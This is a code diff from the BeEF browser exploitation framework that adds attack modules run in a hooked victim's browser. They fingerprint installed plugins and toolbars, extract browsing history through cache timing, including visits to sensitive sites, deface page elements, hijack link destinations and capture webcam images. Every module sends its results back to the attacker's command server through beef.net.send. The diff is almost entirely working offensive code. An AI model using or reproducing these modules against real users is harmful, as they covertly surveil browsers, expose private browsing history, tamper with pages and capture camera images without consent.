                         for (var i=0; i<chrome_extensions.length; i++) {
                                 detect_chrome_extension(chrome_extensions[i][0], chrome_extensions[i][1]);
                         }
-                } catch(e) {}
+                } catch(e) {
+                        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed');
+                }
         } else if(beef.browser.isFF()) {
                 try {
                         for (var i in firefox_extensions) {
                                 detect_firefox_extension(firefox_extensions[i], i);
                         }
-                } catch(e) {}
-        } else {
-        };
+                } catch(e) {
+                        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed');
+                }
+        } else if(beef.browser.isIE()) {
+                try {
+                        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions is not supported');
+                } catch(e) {
+                        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions failed');
+                }
+        }
 
 });
 

modules/browser/detect_extensions/config.yaml

@@ -8,8 +8,8 @@ beef:
         detect_extensions:
             enable: true
             category: "Browser"
-            name: "Detect Chrome/Firefox Extensions"
-            description: "This module detects Extensions in Chrome and Firefox "
+            name: "Detect Extensions"
+            description: "This module detects extensions installed in Google Chrome and Mozilla Firefox."
             authors: ["koto", "bcoles", "nbblrr"]
             target:
                 working:

modules/browser/detect_foxit/command.js

@@ -0,0 +1,14 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	var result = ( beef.browser.hasFoxit() )? "Yes" : "No";
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "foxit="+result);
+
+});
+

modules/browser/detect_foxit/config.yaml

@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        detect_foxit:
+            enable: true
+            category: "Browser"
+            name: "Detect Foxit Reader"
+            description: "This module will check if the browser has Foxit Reader Plugin."
+            authors: ["javuto"]
+            target:
+                working: ["All"]

modules/browser/detect_foxit/module.rb

@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_foxit < BeEF::Core::Command
+
+	def post_execute
+		content = {}
+		content['foxit'] = @datastore['foxit']
+		save content
+	end
+
+end

modules/browser/detect_quicktime/command.js

@@ -0,0 +1,14 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	var result = (beef.browser.hasQuickTime())? "Yes" : "No";
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "quicktime="+result);
+
+});
+

modules/browser/detect_quicktime/config.yaml

@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        detect_quicktime:
+            enable: true
+            category: "Browser"
+            name: "Detect QuickTime"
+            description: "This module will check if the browser has Quicktime support."
+            authors: ["bcoles"]
+            target:
+                working: ["All"]

modules/browser/detect_quicktime/module.rb

@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_quicktime < BeEF::Core::Command
+
+	def post_execute
+		content = {}
+		content['quicktime'] = @datastore['quicktime']
+		save content
+	end
+
+end

modules/browser/detect_realplayer/command.js

@@ -0,0 +1,14 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	var result = ( beef.browser.hasRealPlayer() )? "Yes" : "No";
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "realplayer="+result);
+
+});
+

modules/browser/detect_realplayer/config.yaml

@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        detect_realplayer:
+            enable: true
+            category: "Browser"
+            name: "Detect RealPlayer"
+            description: "This module will check if the browser has RealPlayer support."
+            authors: ["gcattani"]
+            target:
+                working: ["All"]

modules/browser/detect_realplayer/module.rb

@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_realplayer < BeEF::Core::Command
+
+	def post_execute
+		content = {}
+		content['realplayer'] = @datastore['realplayer']
+		save content
+	end
+
+end

modules/browser/detect_silverlight/command.js

@@ -0,0 +1,14 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	var result = (beef.browser.hasSilverlight())? "Yes" : "No";
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "silverlight="+result);
+
+});
+

modules/browser/detect_silverlight/config.yaml

@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        detect_silverlight:
+            enable: true
+            category: "Browser"
+            name: "Detect Silverlight"
+            description: "This module will check if the browser has Silverlight support."
+            authors: ["bcoles"]
+            target:
+                working: ["ALL"]

modules/browser/detect_silverlight/module.rb

@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_silverlight < BeEF::Core::Command
+
+	def post_execute
+		content = {}
+		content['silverlight'] = @datastore['silverlight']
+		save content
+	end
+
+end

modules/browser/detect_toolbars/command.js

@@ -0,0 +1,61 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+	
+	var toolbar_ua = new Array (
+		new Array (" Alexa Toolbar", " Alexa"),
+		new Array (" AskTbS-PV", " Ask"),
+		new Array (" BRI", " Bing"),
+		new Array (" GTB", " Google"),
+		new Array (" SU ", " Stumble Upon")
+		)
+		
+	var toolbar_id = new Array (
+		new Array ("AlexaCustomScriptId", " Alexa")
+		)	
+
+	var result = '';
+	var separator = ", ";
+    
+	// CHECK USER-AGENT
+	for (var i = 0; i < toolbar_ua.length; i++) {
+		
+		var agentRegex = new RegExp( toolbar_ua[i][0], 'g' );
+		
+		if ( agentRegex.exec(navigator.userAgent) ) {
+			
+			result += toolbar_ua[i][1] + separator;			
+			
+		}
+	}
+	
+	// CHECK ELEMENT ID (DOM)
+	for (var i = 0; i < toolbar_id.length; i++) {
+		
+		var element =  document.getElementById( toolbar_id[i][0] );
+		
+		if ( typeof(element) != 'undefined' && element != null ) {
+			
+			result += toolbar_id[i][1] + separator;
+			
+		}
+	}
+
+	// ENDING
+	if ( result != '' ) {
+		
+		result = result.slice(0, -separator.length);
+		
+	} else if ( result == '' ) {
+		
+		result = " no toolbars detected";
+		
+	}
+	
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "toolbars="+result);	
+	
+});

modules/browser/detect_toolbars/config.yaml

@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        Detect_toolbars:
+            enable: true
+            category: "Browser"
+            name: "Detect Toolbars"
+            description: "Detects which browser toolbars are installed."
+            authors: ["gcattani"]
+            target:
+                working: ["All"]

modules/browser/detect_toolbars/module.rb

@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_toolbars < BeEF::Core::Command
+  
+  def post_execute
+    content = {}
+    content['toolbars'] = @datastore['toolbars']
+    save content
+  end
+
+end

modules/browser/detect_vlc/command.js

@@ -0,0 +1,14 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	var result = ( beef.browser.hasVLC() )? "Yes" : "No";
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "vlc="+result);
+
+});
+

modules/browser/detect_vlc/config.yaml

@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        detect_vlc:
+            enable: true
+            category: "Browser"
+            name: "Detect VLC"
+            description: "This module will check if the browser has VLC plugin."
+            authors: ["nbblrr"]
+            target:
+                working: ["IE", "FF", "C"]

modules/browser/detect_vlc/module.rb

@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_vlc < BeEF::Core::Command
+
+	def post_execute
+		content = {}
+		content['vlc'] = @datastore['vlc']
+		save content
+	end
+
+end

modules/browser/detect_wmp/command.js

@@ -0,0 +1,13 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	var result = ( beef.browser.hasWMP() )? "Yes" : "No";
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "wmp="+result);
+
+});

modules/browser/detect_wmp/config.yaml

@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        detect_wmp:
+            enable: true
+            category: "Browser"
+            name: "Detect Windows Media Player"
+            description: "This module will check if the browser has the Windows Media Player plugin installed."
+            authors: ["gcattani"]
+            target:
+                working: ["All"]

modules/browser/detect_wmp/module.rb

@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_wmp < BeEF::Core::Command
+
+	def post_execute
+		content = {}
+		content['wmp'] = @datastore['wmp']
+		save content
+	end
+
+end

modules/browser/get_visited_domains/command.js

@@ -16,6 +16,8 @@ var tries = 0;
 
 var isIE = 0;
 var isFF = 0;
+var isO = 0;
+var isC = 0;
 
 /*******************************
  * SUB-MS TIMER IMPLEMENTATION *
@@ -131,6 +133,56 @@ if (beef.browser.isIE() == 1) {
 	var MAX_ATTEMPTS = 1;	
 }
 
+if (beef.browser.isO() == 1){
+    /****************
+	 * SCANNED URLS *
+	 ****************/
+	var targets = [
+	  { 'category': 'Social networks' },
+	  { 'name': 'Facebook', 'urls': [ 'https://s-static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',
+									  'http://static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',
+									  'http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/HN0ehA1zox_.js' ] },
+	  { 'name': 'Google Plus', 'urls': [ 'https://ssl.gstatic.com/gb/js/abc/gcm_57b1882492d4d0138a0a7ea7240394ca.js' ] },
+	
+	  { 'name': 'Dogster', 'urls': [ 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js.gz',
+									 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js' ] },
+	  { 'name': 'MySpace', 'urls': [ 'http://x.myspacecdn.com/modules/common/static/css/futuraglobal_kqj36l0b.css' ] },
+	  { 'category': 'Content platforms' },
+	  { 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/cssbin/www-refresh-vflMpNCTQ.css' ] },
+	  { 'name': 'Hulu', 'urls': [ 'http://static.huluim.com/system/hulu_0cd8f497_1.css' ] },
+	  { 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/css/c_fold_main.css.v109886.64777.105425.23' ] },
+	  { 'name': 'JustinBieberMusic.com', 'urls': [ 'http://www.justinbiebermusic.com/underthemistletoe/js/fancybox.js' ] },
+	  { 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/styles.css' /* 4h */ ] },
+	  { 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/squelettes/jquery-1.6.4.min.js' ] },
+	  { 'category': 'Online media' },
+	  { 'name': 'New York Times', 'urls': [ 'http://js.nyt.com/js2/build/sitewide/sitewide.js' ] },
+	  { 'name': 'CNN', 'urls': [ 'http://z.cdn.turner.com/cnn/tmpl_asset/static/www_homepage/835/css/hplib-min.css',
+								 'http://z.cdn.turner.com/cnn/tmpl_asset/static/intl_homepage/564/css/intlhplib-min.css' ] },
+	  { 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/reddit.en-us.xMviOWUyZqo.js' ] },
+	  { 'name': 'Slashdot', 'urls': [ 'http://a.fsdn.com/sd/classic.css?release_20111207.02' ] },
+	  { 'name': 'Fox News', 'urls': [ 'http://www.fncstatic.com/static/all/css/head.css?1' ] },
+	  { 'name': 'AboveTopSecret.com', 'urls': [ 'http://www.abovetopsecret.com/forum/ats-scripts.js' ] },
+	  { 'category': 'Commerce' },
+	  { 'name': 'Diapers.com', 'urls': [ 'http://c1.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12',
+										 'http://c3.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12' ] },
+	  { 'name': 'Expedia', 'urls': [ 'http://www.expedia.com/static/default/default/scripts/expedia/core/e.js?v=release-2011-11-r4.9.317875' ] },
+	  { 'name': 'Amazon (US)', 'urls': [ 'http://z-ecx.images-amazon.com/images/G/01/browser-scripts/us-site-wide-css-quirks/site-wide-3527593236.css._V162874846_.css' ] },
+	  { 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/CSS/template.v1.w.5723.0.css' ] },
+	  { 'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] },
+      { 'category': 'Coding' },
+      { 'name': 'GitHub', 'urls': [ 'https://a248.e.akamai.net/assets.github.com/stylesheets/bundles/github-fa63b2501ea82170d5b3b1469e26c6fa6c3116dc.css' ] },
+      { 'category': 'Security' },
+      { 'name': 'Exploit DB', 'urls': [ 'http://www.exploit-db.com/wp-content/themes/exploit/style.css' ] },
+      { 'name': 'Packet Storm', 'urls': [ 'http://packetstormsecurity.org/img/pss.ico' ] },
+      { 'category': 'Email' },
+      { 'name': 'Hotmail', 'urls': [ 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.9/~/~/~/~/css/R3WinLive1033.css' ] }
+	];
+	/*************************
+	 * CONFIGURABLE SETTINGS *
+	 *************************/
+	var TIME_LIMIT = 3;
+	var MAX_ATTEMPTS = 1;	
+}
 
 function sched_call(fn) {
   exec_next = fn;
@@ -160,7 +212,9 @@ function perform_check() {
   if (beef.browser.isFF() == 1) {
   	setTimeout(wait_for_read, 1);
   }
-  
+  if(beef.browser.isO() == 1){
+    setTimeout(wait_for_read, 1);
+  } 
 }
 
 
@@ -188,6 +242,18 @@ function wait_for_read() {
 		setTimeout(wait_for_read, 0);
 	  }	
    }
+   if (beef.browser.isO() == 1){
+      try{
+		
+        if(frames['f'].location.href != 'about:blank') throw 1;
+        
+        frames['f'].stop();
+        document.getElementById('f').src = 'javascript:"<body onload=\'parent.frame_ready = true\'>"';
+        setTimeout(wait_for_read2, 1);
+      } catch(e){
+        setTimeout(wait_for_read, 1);
+      }
+   }
 }
 
 function wait_for_read2() {
@@ -213,6 +279,9 @@ function navigate_to_target() {
   if (beef.browser.isIE() == 1) {
 	  setTimeout(wait_for_noread, 0);
   }
+  if (beef.browser.isO() == 1){
+      setTimeout(wait_for_noread, 1);
+  }
   urls++;
   document.getElementById("f").src = current_url;
 }
@@ -248,6 +317,17 @@ function wait_for_noread() {
     	}	
     	sched_call(wait_for_noread);    	
 	}
+    if (beef.browser.isO() == 1){
+       if (frames['f'].location.href == undefined){
+           confirm_visited = true;
+           throw 1;
+       }
+       if (cycles++ >= TIME_LIMIT) {
+           maybe_test_next();
+           return;
+       }
+        setTimeout(wait_for_noread, 1);
+     }
   } catch (e) {
     confirmed_visited = true;
     maybe_test_next();
@@ -262,6 +342,9 @@ function maybe_test_next() {
   if (beef.browser.isIE() == 1) {
   	   document.getElementById("f").src = 'about:blank';
   }
+  if (beef.browser.isO() == 1) {
+      document.getElementById('f').src = 'about:blank';
+  }
   if (target_off < targets.length) {
     if (targets[target_off].category) {
       //log_text(targets[target_off].category + ':', 'p', 'category');
@@ -312,7 +395,7 @@ function reload(){
 /* The handler for "run the test" button on the main page. Dispenses
    advice, resets state if necessary. */
 function start_stuff() {
-  if (beef.browser.isFF() == 1 || beef.browser.isIE() == 1 ) {
+  if (beef.browser.isFF() == 1 || beef.browser.isIE() == 1 || beef.browser.isO() == 1) {
   	  target_off = 0;
 	  attempt = 0;
 	  confirmed_visited = false;
@@ -321,15 +404,143 @@ function start_stuff() {
 	  maybe_test_next();
   }
   else {
-  	beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results=This proof-of-concept is specific to Firefox and Internet Explorer, and probably won\'t work for you.');
+  	beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results=This proof-of-concept is specific to Firefox, Internet Explorer, Chrome and Opera, and probably won\'t work for you.');
   }  
 }
 
+/**************/
+/***Visipisi***/
+/**************/
+var vp_result = {};
+
+var visipisi = {
+  webkit: function(url, cb) {
+    var start;
+    var loaded = false;
+    var runtest = function() {
+      window.removeEventListener("message", runtest, false);
+      var img = new Image();
+      start = new Date().getTime();
+      try{
+      img.src = url;
+      } catch(e) {}
+      var messageCB = function (e){
+      var now = new Date().getTime();
+          if (img.complete) {
+            delete img;
+            window.removeEventListener("message", messageCB, false);
+            cbWrap(true);
+          } else if (now - start > 10) {
+            delete img;
+	    if (window.stop !== undefined)
+		window.stop();
+            else
+		document.execCommand("Stop",false);
+            window.removeEventListener("message", messageCB, false);
+            cbWrap(false);
+        } else {
+          window.postMessage('','*');
+      	}
+
+    };
+    window.addEventListener("message", messageCB, false);
+    window.postMessage('','*');
+  };
+  cbWrap = function (value) {cb(value);};
+  window.addEventListener("message", runtest, false);
+  window.postMessage('','*');
+  }
+};
+
+function visipisiCB(vp, endCB, sites, urls, site, result){
+    if(result === null){
+	vp_result[site] = 'Whoops';
+     }
+     else{	
+	vp_result[site] = result ? 'visited' : 'not visited';
+     }
+     var next_site = sites.pop();
+     if(next_site)
+	vp( urls[next_site], function (result) { 
+	  visipisiCB(vp, endCB, sites, urls, next_site, result);
+	});
+      else
+	endCB();
+}
+
+function getVisitedDomains(){
+    var tests = {
+	facebook: 'https://s-static.ak.facebook.com/rsrc.php/v1/yJ/r/vOykDL15P0R.png',
+	twitter: 'https://twitter.com/images/spinner.gif',
+	digg: 'http://cdn2.diggstatic.com/img/sprites/global.5b25823e.png',
+	reddit: 'http://www.redditstatic.com/sprite-reddit.pZL22qP4ous.png',
+	hn: 'http://ycombinator.com/images/y18.gif',
+	stumbleupon: 'http://cdn.stumble-upon.com/i/bg/logo_su.png',
+	wired: 'http://www.wired.com/images/home/wired_logo.gif',
+	xkcd: 'http://imgs.xkcd.com/s/9be30a7.png',
+	linkedin: 'http://static01.linkedin.com/scds/common/u/img/sprite/sprite_global_v6.png',
+	slashdot: 'http://a.fsdn.com/sd/logo_w_l.png',
+	myspace: 'http://cms.myspacecdn.com/cms/x/11/47/title-WhatsHotWhite.jpg',
+	engadget: 'http://www.blogsmithmedia.com/www.engadget.com/media/engadget_logo.png',
+        lastfm: 'http://cdn.lst.fm/flatness/anonhome/1/anon-sprite.png',
+        pandora: 'http://www.pandora.com/img/logo.png',
+        youtube: 'http://s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif',
+        yahoo: 'http://l.yimg.com/ao/i/mp/properties/frontpage/01/img/aufrontpage-sprite.s1740.gif',
+        google: 'https://www.google.com/intl/en_com/images/srpr/logo3w.png',
+        hotmail: 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.8/~/~/~/~/images/iconmap.png',
+        cnn: 'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/intl/hdr-globe-central.gif',
+        bbc: 'http://static.bbc.co.uk/frameworks/barlesque/1.21.2/desktop/3/img/blocks/light.png',
+        reuters: 'http://www.reuters.com/resources_v2/images/masthead-logo.gif',
+        wikipedia: 'http://upload.wikimedia.org/wikipedia/en/b/bc/Wiki.png',
+        amazon: 'http://g-ecx.images-amazon.com/images/G/01/gno/images/orangeBlue/navPackedSprites-US-22._V183711641_.png',
+        ebay: 'http://p.ebaystatic.com/aw/pics/au/logos/logoEbay_x45.gif',
+        newegg: 'http://images10.newegg.com/WebResource/Themes/2005/Nest/neLogo.png',
+        bestbuy: 'http://images.bestbuy.com/BestBuy_US/en_US/images/global/header/hdr_logo.gif',
+	walmart: 'http://i2.walmartimages.com/i/header_wide/walmart_logo_214x54.gif',
+	perfectgirls: 'http://www.perfectgirls.net/img/logoPG_02.jpg',
+        abebooks: 'http://www.abebooks.com/images/HeaderFooter/siteRevamp/AbeBooks-logo.gif',
+	msy: 'http://msy.com.au/images/MSYLogo-long.gif',
+	techbuy: 'http://www.techbuy.com.au/themes/default/images/tblogo.jpg',
+	borders: 'http://www.borders.com.au/images/ui/logo-site-footer.gif',
+	mozilla: 'http://www.mozilla.org/images/template/screen/logo_footer.png',
+	anandtech: 'http://www.anandtech.com/content/images/globals/header_logo.png',
+	tomshardware: 'http://m.bestofmedia.com/i/tomshardware/v3/logo_th.png',
+	shopbot: 'http://i.shopbot.com.au/s/i/logo/en_AU/shopbot.gif',
+	staticice: 'http://staticice.com.au/images/banner.jpg',
+  };
+
+  var sites = [];
+  for (var k in tests)
+    sites.push(k);
+   sites.reverse();
+
+   vp = visipisi.webkit;
+   var first_site = sites.pop();
+   var end = function() {
+    	beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results='+prepResult(vp_result));
+   }
+   vp(tests[first_site], function(result) {
+	visipisiCB(vp, end, sites, tests, first_site, result);
+    });
+}
+
+function prepResult(results){
+    var result_str ='<br>';
+    for(r in results){
+      result_str += r + ':' + results[r]+'<br>';
+    }
+    return result_str;
+}
 
 beef.execute(function() { 
+  if(beef.browser.isC() == 1){
+	getVisitedDomains();
+
+  } else {  
    urls = undefined;
    exec_next = null;
    start_stuff();
+ }
 });
 
 	

modules/browser/get_visited_domains/config.yaml

@@ -9,8 +9,8 @@ beef:
             enable: true
             category: "Browser"
             name: "Get Visited Domains"
-            description: "This module will retrieve rapid history extraction through non-destructive cache timing.\nBased on work done at http://lcamtuf.coredump.cx/cachetime/"
-            authors: ["keith_lee @keith55 http://milo2012.wordpress.com"]
+            description: "This module will retrieve rapid history extraction through non-destructive cache timing.\nBased on work done by Michal Zalewski at http://lcamtuf.coredump.cx/cachetime/"
+            authors: ["@keith55", "oxplot", "quentin"]
             target:
-                working: ["FF", "IE"]
-                not_working: ["O", "C", "S"]
+                working: ["FF", "IE", "O"]
+                not_working: ["C", "S"]

modules/browser/hooked_domain/deface_web_page_component/command.js

@@ -0,0 +1,14 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	var result = $j('<%= @deface_selector %>').each(function() {
+		$j(this).html('<%= @deface_content %>');
+	}).length;
+
+    beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Defaced "+ result +" elements");
+});

modules/browser/hooked_domain/deface_web_page_component/config.yaml

@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        deface_web_page_component:
+            enable: true
+            category: ["Browser", "Hooked Domain"]
+            name: "Replace Component (Deface)"
+            description: "Overwrite a particular component of the hooked page."
+            authors: ["antisnatchor", "xntrik"]
+            target:
+                user_notify: ['ALL']

modules/browser/hooked_domain/deface_web_page_component/module.rb

@@ -0,0 +1,22 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Deface_web_page_component < BeEF::Core::Command
+
+  def self.options
+    return [
+		{ 'name' => 'deface_selector', 'description' => 'The jQuery Selector to rewrite', 'ui_label' => 'Target Selector (Using jQuery\'s selector notation)', 'value' => '.headertitle', 'width'=>'200px' },
+		{ 'name' => 'deface_content', 'description' => 'The HTML to replace within the target', 'ui_label' => 'Deface Content', 'value' => 'BeEF was ere', 'width'=>'200px' }
+    ]
+  end
+
+  def post_execute
+    content = {}
+    content['Result'] = @datastore['result']
+    save content
+
+  end
+
+end

modules/browser/hooked_domain/link_rewrite_click_events/command.js

@@ -0,0 +1,10 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinksClickEvents('<%= @url %>')+' links rewritten to <%= @url %>');
+});
+

modules/browser/hooked_domain/link_rewrite_click_events/config.yaml

@@ -0,0 +1,16 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        link_rewrite_click_events:
+            enable: true
+            category: ["Browser", "Hooked Domain"]
+            name: "Replace HREFs (Click Events)"
+            description: "This module will rewrite all the href attributes of all matched links using Bilawal Hameed's updating of click event handling. This will hide the target site for all updated links."
+            authors: ["xntrik", "@bilawalhameed", "passbe"]
+            target:
+                not_working: ["O"]
+                working: ["ALL"]

modules/browser/hooked_domain/link_rewrite_click_events/module.rb

@@ -0,0 +1,18 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Link_rewrite_click_events < BeEF::Core::Command
+  
+  def self.options
+    return [
+        { 'ui_label'=>'URL', 'name'=>'url', 'description' => 'Target URL', 'value'=>'http://beefproject.com/', 'width'=>'200px' }
+    ]
+  end
+
+  def post_execute
+    save({'result' => @datastore['result']})
+  end
+  
+end

modules/browser/webcam/command.js

@@ -22,7 +22,7 @@ beef.execute(function() {
     
     
     //These 4 function names [noCamera(), noCamera(), pressedDisallow(), pictureCallback(picture), allPicturesTaken()] are hard coded in the swf actionscript3. Flash will invoke these functions directly. The picture for the pictureCallback function will be a base64 encoded JPG string
-    var js_functions = '<script>function noCamera() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=The user has no camera"); }; function pressedAllow() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=User pressed allow, you should get pictures soon"); }; function pressedDisallow() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=User pressed disallow, you won\'t get pictures"); }; function pictureCallback(picture) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "picture="+picture); }; function allPicturesTaken(){  }';
+    var js_functions = '<script>function noCamera() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=The user has no camera"); }; function pressedAllow() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=User pressed allow, you should get pictures soon"); }; function pressedDisallow() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=User pressed disallow, you won\'t get pictures"); }; function pictureCallback(picture) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "image="+picture); }; function allPicturesTaken(){  }';
     
     //This function is called by swfobject, if if fails to add the flash file to the page
     

modules/browser/webcam_html5/command.js

@@ -0,0 +1,50 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+
+
+beef.execute(function() {
+    var vid_id = beef.dom.generateID();
+    var can_id = beef.dom.generateID();
+    var vid_el = beef.dom.createElement('video',{'id':vid_id,'style':'display:none;','autoplay':'true'});
+    var can_el = beef.dom.createElement('canvas',{'id':can_id,'style':'display:none;','width':'640','height':'480'});
